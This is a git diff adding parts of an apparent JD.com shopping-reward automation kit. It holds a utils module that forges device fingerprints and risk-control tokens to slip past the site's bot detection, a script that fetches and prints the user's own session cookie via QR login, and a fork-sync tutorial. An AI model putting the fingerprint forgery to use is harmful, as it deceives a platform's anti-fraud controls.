i++) { + n = (crc ^ str.charCodeAt(i)) & 0xFF; + x = "0x" + table.substr(n * 9, 8); + crc = (crc >>> 8) ^ x; + } + return (crc ^ (-1)) >>> 0; + }, + getCrcCode: function (e) { + var t = "0000000", + n = ""; + try { + n = this.Crc32(e).toString(36), t = this.addZeroToSeven(n) + } catch (e) {} + return t + }, + addZeroToSeven: function (e) { + return e && e.length >= 7 ? e : ("0000000" + String(e)).substr(-7) + }, + getInRange: function (e, t, n) { + var r = []; + return e.map(function (e, i) { + e >= t && e <= n && r.push(e) + }), r + }, + RecursiveSorting: function () { + var e = this, + t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + n = {}, + r = t; + if ("[object Object]" == Object.prototype.toString.call(r)) { + var i = Object.keys(r).sort(function (e, t) { + return e < t ? -1 : e > t ? 1 : 0 + }); + i.forEach(function (t) { + var i = r[t]; + if ("[object Object]" === Object.prototype.toString.call(i)) { + var o = e.RecursiveSorting(i); + n[t] = o + } else if ("[object Array]" === Object.prototype.toString.call(i)) { + for (var a = [], s = 0; s < i.length; s++) { + var u = i[s]; + if ("[object Object]" === Object.prototype.toString.call(u)) { + var c = e.RecursiveSorting(u); + a[s] = c + } else a[s] = u + } + n[t] = a + } else n[t] = i + }) + } else n = t; + return n + }, + objToString2: function () { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {}, + t = ""; + return Object.keys(e).forEach(function (n) { + var r = e[n]; + null != r && (t += r instanceof Object || r instanceof Array ? "".concat("" === t ? "" : "&").concat(n, "=").concat(JSON.stringify(r)) : "".concat("" === t ? "" : "&").concat(n, "=").concat(r)) + }), t + }, + getKey: function (e, t, n) { + let r = this; + return { + 1: function () { + var e = r.getNumberInString(t), + i = r.getSpecialPosition(n); + return Math.abs(e - i) + }, + 2: function () { + var e = r.getSpecialPosition(t, !1), + i = r.getSpecialPosition(n); + return r.minusByByte(e, i) + }, + 3: function () { + var e = t.slice(0, 5), + i = String(n).slice(-5); + return r.minusByByte(e, i) + }, + 4: function () { + return r.encrypt1(t, n) + }, + 5: function () { + return r.encrypt2(t, n) + }, + 6: function () { + return r.encrypt3(t, n) + } + } [e]() + }, + decipherJoyToken: function (e, t) { + let m = this; + var n = { + jjt: "a", + expire: m.getCurrentTime(), + outtime: 3, + time_correction: !1 + }; + var r = "", + i = e.indexOf(t) + t.length, + o = e.length; + if ((r = (r = e.slice(i, o).split(".")).map(function (e) { + return m.atobPolyfill(e) + }))[1] && r[0] && r[2]) { + var a = r[0].slice(2, 7), + s = r[0].slice(7, 9), + u = m.xorEncrypt(r[1] || "", a).split("~"); + n.outtime = u[3] - 0, n.encrypt_id = u[2], n.jjt = "t"; + var c = u[0] - 0 || 0; + c && "number" == typeof c && (n.time_correction = !0, n.expire = c); + var l = c - m.getCurrentTime() || 0; + return n.q = l, n.cf_v = s, n + } + return n + }, + sha1: function (s) { + var data = new Uint8Array(this.encodeUTF8(s)) + var i, j, t; + var l = ((data.length + 8) >>> 6 << 4) + 16, + s = new Uint8Array(l << 2); + s.set(new Uint8Array(data.buffer)), s = new Uint32Array(s.buffer); + for (t = new DataView(s.buffer), i = 0; i < l; i++) s[i] = t.getUint32(i << 2); + s[data.length >> 2] |= 0x80 << (24 - (data.length & 3) * 8); + s[l - 1] = data.length << 3; + var w = [], + f = [ + function () { + return m[1] & m[2] | ~m[1] & m[3]; + }, + function () { + return m[1] ^ m[2] ^ m[3]; + }, + function () { + return m[1] & m[2] | m[1] & m[3] | m[2] & m[3]; + }, + function () { + return m[1] ^ m[2] ^ m[3]; + } + ], + rol = function (n, c) { + return n << c | n >>> (32 - c); + }, + k = [1518500249, 1859775393, -1894007588, -899497514], + m = [1732584193, -271733879, null, null, -1009589776]; + m[2] = ~m[0], m[3] = ~m[1]; + for (var i = 0; i < s.length; i += 16) { + var o = m.slice(0); + for (j = 0; j < 80; j++) + w[j] = j < 16 ? s[i + j] : rol(w[j - 3] ^ w[j - 8] ^ w[j - 14] ^ w[j - 16], 1), + t = rol(m[0], 5) + f[j / 20 | 0]() + m[4] + w[j] + k[j / 20 | 0] | 0, + m[1] = rol(m[1], 30), m.pop(), m.unshift(t); + for (j = 0; j < 5; j++) m[j] = m[j] + o[j] | 0; + }; + t = new DataView(new Uint32Array(m).buffer); + for (var i = 0; i < 5; i++) m[i] = t.getUint32(i << 2); + + var hex = Array.prototype.map.call(new Uint8Array(new Uint32Array(m).buffer), function (e) { + return (e < 16 ? "0" : "") + e.toString(16); + }).join(""); + return hex.toString().toUpperCase(); + }, + encodeUTF8: function (s) { + var i, r = [], + c, x; + for (i = 0; i < s.length; i++) + if ((c = s.charCodeAt(i)) < 0x80) r.push(c); + else if (c < 0x800) r.push(0xC0 + (c >> 6 & 0x1F), 0x80 + (c & 0x3F)); + else { + if ((x = c ^ 0xD800) >> 10 == 0) //对四字节UTF-16转换为Unicode + c = (x << 10) + (s.charCodeAt(++i) ^ 0xDC00) + 0x10000, + r.push(0xF0 + (c >> 18 & 0x7), 0x80 + (c >> 12 & 0x3F)); + else r.push(0xE0 + (c >> 12 & 0xF)); + r.push(0x80 + (c >> 6 & 0x3F), 0x80 + (c & 0x3F)); + }; + return r; + }, + gettoken: function (UA) { + const https = require('https'); + var body = `content={"appname":"50082","whwswswws":"","jdkey":"","body":{"platform":"1"}}`; + return new Promise((resolve, reject) => { + let options = { + hostname: "bh.m.jd.com", + port: 443, + path: "/gettoken", + method: "POST", + rejectUnauthorized: false, + headers: { + "Content-Type": "text/plain;charset=UTF-8", + "Host": "bh.m.jd.com", + "Origin": "https://h5.m.jd.com", + "X-Requested-With": "com.jingdong.app.mall", + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/41Lkp7DumXYCFmPYtU3LTcnTTXTX/index.html", + "User-Agent": UA, + } + } + const req = https.request(options, (res) => { + res.setEncoding('utf-8'); + let rawData = ''; + res.on('error', reject); + res.on('data', chunk => rawData += chunk); + res.on('end', () => resolve(rawData)); + }); + req.write(body); + req.on('error', reject); + req.end(); + }); + }, + get_blog: function (pin) { + let encrypefun = { + "z": function (p1, p2) { + var str = ""; + for (var vi = 0; vi < p1.length; vi++) { + str += (p1.charCodeAt(vi) ^ p2.charCodeAt(vi % p2.length)).toString("16"); + } + return str; + }, + "y": function (p1, p2) { + var str = ""; + for (var vi = 0; vi < p1.length; vi++) { + str += (p1.charCodeAt(vi) & p2.charCodeAt(vi % p2.length)).toString("16"); + } + return str; + }, + "x": function (p1, p2) { + p1 = p1.substring(1) + p1.substring(0, 1); + p2 = p2.substring((p2.length - 1)) + p2.substring(0, (p2.length - 1)); + var str = ""; + for (var vi = 0; vi < p1.length; vi++) { + str += (p1.charCodeAt(vi) ^ p2.charCodeAt(vi % p2.length)).toString("16"); + } + return str; + }, + "jiami": function (po, p1) { + var str = ""; + for (vi = 0; vi < po.length; vi++) { + str += String.fromCharCode(po.charCodeAt(vi) ^ p1.charCodeAt(vi % p1.length)); + } + return new Buffer.from(str).toString('base64'); + } + } + const ids = ["x", "y", "z"]; + var encrypeid = ids[Math.floor(Math.random() * 1e8) % ids.length]; + var timestamp = this.getCurrentTime(); + var nonce_str = this.getRandomWord(10); + var isDefaultKey = "B"; + refer = "com.miui.home"; + encrypeid = "x"; + var json = { + r: refer, + a: "", + c: "a", + v: "2.5.8", + t: timestamp.toString().substring(timestamp.toString().length - 4) + } + var token = md5(pin); + var key = encrypefun[encrypeid](timestamp.toString(), nonce_str); + //console.log(key); + var cipher = encrypefun["jiami"](JSON.stringify(json), key); + return `${timestamp}~1${nonce_str+token}~${encrypeid}~~~${isDefaultKey}~${cipher}~${this.getCrcCode(cipher)}`; + }, + get_risk_result: async function ($) { + var appid = "50082"; + var TouchSession = this.getTouchSession(); + if (!$.joyytoken || $.joyytoken_count > 18) { + $.joyytoken = JSON.parse(await this.gettoken($.UA))["joyytoken"]; + $.joyytoken_count = 0; + } + $.joyytoken_count++; + let riskData; + switch ($.action) { + case 'startTask': + riskData = { + taskId: $.id + }; + break; + case 'chargeScores': + riskData = { + bubleId: $.id + }; + break; + case 'sign': + riskData = {}; + default: + break; + } + + var random = Math.floor(1e+6 * Math.random()).toString().padEnd(6, '8'); + var senddata = this.objToString2(this.RecursiveSorting({ + pin: $.UserName, + random, + ...riskData + })); + var time = this.getCurrentTime(); + var encrypt_id = this.decipherJoyToken(appid + $.joyytoken, appid)["encrypt_id"].split(","); + var nonce_str = this.getRandomWord(10); + var key = this.getKey(encrypt_id[2], nonce_str, time.toString()); + + var str1 = `${senddata}&token=${$.joyytoken}&time=${time}&nonce_str=${nonce_str}&key=${key}&is_trust=1`; + str1 = this.sha1(str1); + var outstr = [time, "1" + nonce_str + $.joyytoken, encrypt_id[2] + "," + encrypt_id[3]]; + outstr.push(str1); + outstr.push(this.getCrcCode(str1)); + outstr.push("C"); + var data = {} + data = { + tm: [], + tnm: [ 'd5-9L,JU,8DB,a,t', 'd7-9L,JU,8HF,a,t', 'd1-9M,JV,8JH,u,t' ], + grn: $.joyytoken_count, + ss: TouchSession, + wed: 'ttttt', + wea: 'ffttttua', + pdn: [ 7, (Math.floor(Math.random() * 1e8) % 180) + 1, 6, 11, 1, 5 ], + jj: 1, + cs: hexMD5("Object.P.=&HTMLDocument.Ut.=https://storage.360buyimg.com/babel/00750963/1942873/production/dev/main.e5d1c436.js"), + np: 'iPhone', + t: time, + jk: `${$.UUID}`, + fpb: '', + nv: 'Apple Computer, Inc.', + nav: '167741', + scr: [ 896, 414 ], + ro: [ + 'iPhone12,1', + 'iOS', + '14.3', + '10.0.10', + '167741', + `${$.UUID}`, + 'a' + ], + ioa: 'fffffftt', + aj: 'u', + ci: 'w3.1.0', + cf_v: '01', + bd: senddata, + mj: [1, 0, 0], + blog: "a", + msg: '' + } + data = new Buffer.from(this.xorEncrypt(JSON.stringify(data), key)).toString('base64'); + outstr.push(data); + outstr.push(this.getCrcCode(data)); + return { + extraData: { + log: outstr.join("~"), + sceneid: "DDhomePageh5" + }, + ...riskData, + random, + }; + } +}; +module.exports = { + utils +} diff --git a/backUp/getJDCookie.js b/backUp/getJDCookie.js new file mode 100644 index 0000000..958e02c --- /dev/null +++ b/backUp/getJDCookie.js @@ -0,0 +1,227 @@ +/** + * 扫码获取京东cookie,此方式得到的cookie有效期为30天 + * Modify from FanchangWang https://github.com/FanchangWang + */ +const $ = new Env('扫码获取京东cookie'); +// const JD_UA = require('./USER_AGENTS').USER_AGENT; +const JD_UA = `jdapp;iPhone;10.1.2;14.7.1;${randomString(40)};network/wifi;model/iPhone10,2;addressid/4091160336;appBuild/167802;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_7_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`; +// console.info('JD_UA', JD_UA) +const qrcode = require('qrcode-terminal'); +let s_token, cookies, guid, lsid, lstoken, okl_token, token +!(async () => { + try { + await loginEntrance(); + await generateQrcode(); + await getCookie(); + } catch (e) { + $.logErr(e) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + // $.done(); + }) + + +function loginEntrance() { + return new Promise((resolve) => { + $.get(taskUrl(), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + $.headers = resp.headers; + $.data = JSON.parse(data); + await formatSetCookies($.headers, $.data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function generateQrcode() { + return new Promise((resolve) => { + $.post(taskPostUrl(), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + $.stepsHeaders = resp.headers; + data = JSON.parse(data); + token = data['token']; + // $.log('token', token) + + const setCookie = resp.headers['set-cookie'][0]; + okl_token = setCookie.substring(setCookie.indexOf("=") + 1, setCookie.indexOf(";")) + const url = 'https://plogin.m.jd.com/cgi-bin/m/tmauth?appid=300&client_type=m&token=' + token; + qrcode.generate(url, {small: true}); // 输出二维码 + console.log("请打开 京东APP 扫码登录(二维码有效期为3分钟)"); + console.error(`注:如上图二维码扫描不到,请使用工具(例如在线二维码工具:https://cli.im)手动生成下面链接的二维码\n\n${url}\n\n`); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function checkLogin() { + return new Promise((resolve) => { + const options = { + url: `https://plogin.m.jd.com/cgi-bin/m/tmauthchecktoken?&token=${token}&ou_state=0&okl_token=${okl_token}`, + body: `lang=chs&appid=300&source=wq_passport&returnurl=https://wqlogin2.jd.com/passport/LoginRedirect?state=${Date.now()}&returnurl=//home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action`, + timeout: 10 * 1000, + headers: { + 'Referer': `https://plogin.m.jd.com/login/login?appid=300&returnurl=https://wqlogin2.jd.com/passport/LoginRedirect?state=${Date.now()}&returnurl=//home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action&source=wq_passport`, + 'Cookie': cookies, + 'Connection': 'Keep-Alive', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Accept': 'application/json, text/plain, */*', + 'User-Agent': JD_UA, + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + $.checkLoginHeaders = resp.headers; + // $.log(`errcode:${data['errcode']}`) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getCookie() { + $.timer = setInterval(async () => { + try { + const checkRes = await checkLogin(); + if (checkRes['errcode'] === 0) { + //扫描登录成功 + $.log(`扫描登录成功\n`) + clearInterval($.timer); + await formatCookie($.checkLoginHeaders); + $.done(); + } else if (checkRes['errcode'] === 21) { + $.log(`二维码已失效,请重新获取二维码重新扫描\n`); + clearInterval($.timer); + $.done(); + } else if (checkRes['errcode'] === 176) { + //未扫描登录 + } else { + $.log(`扫描登录失败:其他未知状态异常:${JSON.stringify(checkRes)}\n`); + clearInterval($.timer); + $.done(); + } + } catch (e) { + $.logErr(e) + } + }, 1000) +} + +function formatCookie(headers) { + new Promise(resolve => { + let pt_key = headers['set-cookie'][1] + pt_key = pt_key.substring(pt_key.indexOf("=") + 1, pt_key.indexOf(";")) + let pt_pin = headers['set-cookie'][2] + pt_pin = pt_pin.substring(pt_pin.indexOf("=") + 1, pt_pin.indexOf(";")) + const cookie1 = "pt_key=" + pt_key + ";pt_pin=" + pt_pin + ";"; + + $.UserName = decodeURIComponent(cookie1.match(/pt_pin=([^; ]+)(?=;?)/) && cookie1.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.log(`京东用户:${$.UserName} Cookie获取成功,cookie如下:`); + $.log(`\n${cookie1}\n`); + resolve() + }) +} + +function formatSetCookies(headers, body) { + new Promise(resolve => { + s_token = body['s_token'] + guid = headers['set-cookie'][0] + guid = guid.substring(guid.indexOf("=") + 1, guid.indexOf(";")) + lsid = headers['set-cookie'][2] + lsid = lsid.substring(lsid.indexOf("=") + 1, lsid.indexOf(";")) + lstoken = headers['set-cookie'][3] + lstoken = lstoken.substring(lstoken.indexOf("=") + 1, lstoken.indexOf(";")) + cookies = "guid=" + guid + "; lang=chs; lsid=" + lsid + "; lstoken=" + lstoken + "; " + resolve() + }) +} + +function taskUrl() { + return { + url: `https://plogin.m.jd.com/cgi-bin/mm/new_login_entrance?lang=chs&appid=300&returnurl=https://wq.jd.com/passport/LoginRedirect?state=${Date.now()}&returnurl=https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action&source=wq_passport`, + timeout: 10 * 1000, + headers: { + 'Connection': 'Keep-Alive', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Accept': 'application/json, text/plain, */*', + 'Accept-Language': 'zh-cn', + 'Referer': `https://plogin.m.jd.com/login/login?appid=300&returnurl=https://wq.jd.com/passport/LoginRedirect?state=${Date.now()}&returnurl=https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action&source=wq_passport`, + 'User-Agent': JD_UA, + 'Host': 'plogin.m.jd.com' + } + } +} + +function taskPostUrl() { + return { + url: `https://plogin.m.jd.com/cgi-bin/m/tmauthreflogurl?s_token=${s_token}&v=${Date.now()}&remember=true`, + body: `lang=chs&appid=300&source=wq_passport&returnurl=https://wqlogin2.jd.com/passport/LoginRedirect?state=${Date.now()}&returnurl=//home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action`, + timeout: 10 * 1000, + headers: { + 'Connection': 'Keep-Alive', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Accept': 'application/json, text/plain, */*', + 'Accept-Language': 'zh-cn', + 'Referer': `https://plogin.m.jd.com/login/login?appid=300&returnurl=https://wq.jd.com/passport/LoginRedirect?state=${Date.now()}&returnurl=https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&/myJd/home.action&source=wq_passport`, + 'User-Agent': JD_UA, + 'Host': 'plogin.m.jd.com' + } + } +} +function randomWord(randomFlag, min, max){ + var str = "", + range = min, + arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; + // 随机产生 + if(randomFlag){ + range = Math.round(Math.random() * (max-min)) + min; + } + for(var i=0; i-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/backUp/gitSync.md b/backUp/gitSync.md new file mode 100644 index 0000000..132321d --- /dev/null +++ b/backUp/gitSync.md @@ -0,0 +1,100 @@ +## 保持自己github的forks自动和上游仓库同步的教程 + - 信息来源于 [https://github.com/wei/pull](https://github.com/wei/pull) + - 以下教程仅是出于个人爱好,不保证本教程的完全正确性,最终请以作者 [https://github.com/wei/pull](https://github.com/wei/pull) 的描述为准。 + - 注:此教程由telegram用户@wukongdada提供 +### 1、只同步默认分支的教程 + +> 当上游的仓库仅有一个默认分支。或者上游仓库有两个分支,我们仅需要同步他的默认分支,其他分支对内容对我们来说无关紧要。 + + + +![git1.jpg](../icon/git1.jpg) + + + +a) 登录自己的github账号,另开网页打开 [https://github.com/wei/pull](https://github.com/wei/pull) + + + +b) 点击Pull app进行安装。 + +![../icon/git2.jpg](../icon/git2.jpg) + + + +c) 安装过程中会让你选择要选择那一种方式,All repositories(就是同步已经frok的仓库以及未来fork的仓库),Only select repositories(仅选择要自己需要同步的仓库,其他fork的仓库不会被同步),根据自己需求选择,实在不知道怎么选择,就选All repositories;点击install,完成安装。 + +![../icon/git3.jpg](../icon/git3.jpg) + + + +d) 后续,如果要调整1.c中的选项,打开 [https://github.com/apps/pull](https://github.com/apps/pull) ,点击Configure,输入github密码进入pull的相关设置。 + +![../icon/git4.jpg](../icon/git4.jpg) + + + +e) 进入后,找到Repository access,根据自己的需求,重新选择:All repositories(就是同步已经frok的仓库以及未来fork的仓库),Only select repositories(仅选择要自己需要同步的仓库,其他fork的仓库不会被同步),Save后保存生效。 + +![../icon/git5.jpg](../icon/git5.jpg) + + + +f) Pull app作者虽然在项目中写道keeps your forks up-to-date with upstream via automated pull requests,但当上游仓库有更改时,自己的仓库会在3个小时内完成与上游的同步,3个小时是Pull app作者说的最长时间。当然也可以通过手动触发同步上游仓库,手动触发方式:`https://pull.git.ci/process/你的GitHub名字/你的仓库名字` (例如:`https://pull.git.ci/process/xxxxx/test` ),手动触发可能会进行人机验证,验证通过后会显示Success。 + +![../icon/git12.jpg](../icon/git6.jpg) + +![../icon/git13.jpg](../icon/git7.png) + +### 2、同步其他分支的教程 + + ![../icon/git8.jpg](../icon/git8.jpg) + + + +a) 假设你fork了上游仓库后,你fork后的地址为 `https://github.com/你的仓库名字/test` ,首先设置完成第1部分内容,注意在1.c步骤没有设置全部同步的,要回到1.e步,确认是否设置同步了 `你的仓库名字/test`,如果没有,请添加上。 + +![../icon/git9.jpg](../icon/git9.jpg) + + + +b) 在默认分支下添加一个文件。 + +![../icon/git10.jpg](../icon/git10.jpg) + + + +c) 复制 ``.github/pull.yml`` 粘贴后看到以下页面,注意github前面的那个.别漏掉了。 + +![../icon/git11.jpg](../icon/git11.jpg) + + + +d) 请在https://github.com/wei/pull\#advanced-setup-with-config 页复制代码, + +注意:upstream处要修改为上游仓库作者名字。 + +![../icon/git12.jpg](../icon/git12.jpg) + +![../icon/git13.jpg](../icon/git13.jpg) + + + +e) 最终的示例如下,假设上游作者是zhangsan,所有的注意点都用红线圈出来了,保存后生效。 + +![../icon/git14.jpg](../icon/git14.jpg) + + + +f) Pull app作者虽然在项目中写道keeps your forks up-to-date with upstream via automated pull requests,但当上游仓库有更改时,自己的仓库会在3个小时内完成与上游的同步,3个小时是Pull app作者说的最长时间。当然也可以通过手动触发同步上游仓库,手动触发方式:`https://pull.git.ci/process/你的GitHub名字/你的仓库名字` (例如:`https://pull.git.ci/process/xxxxx/test`),手动触发可能会进行人机验证,验证通过后会显示Success。具体见1.f提供的图片。 + + + +g) 本人仅测试过forks一个仓库只有2个分支的项目,如果有多个分支,不能保证是否可行,请自行测试,或者是使用本教程第3部分高级玩法。 + +### 高级玩法 + +>当然,作者还有其他更好的项目用于同步所有分支,例如使用 GitHub actions 进行同步。请参考原作者的项目 + +- 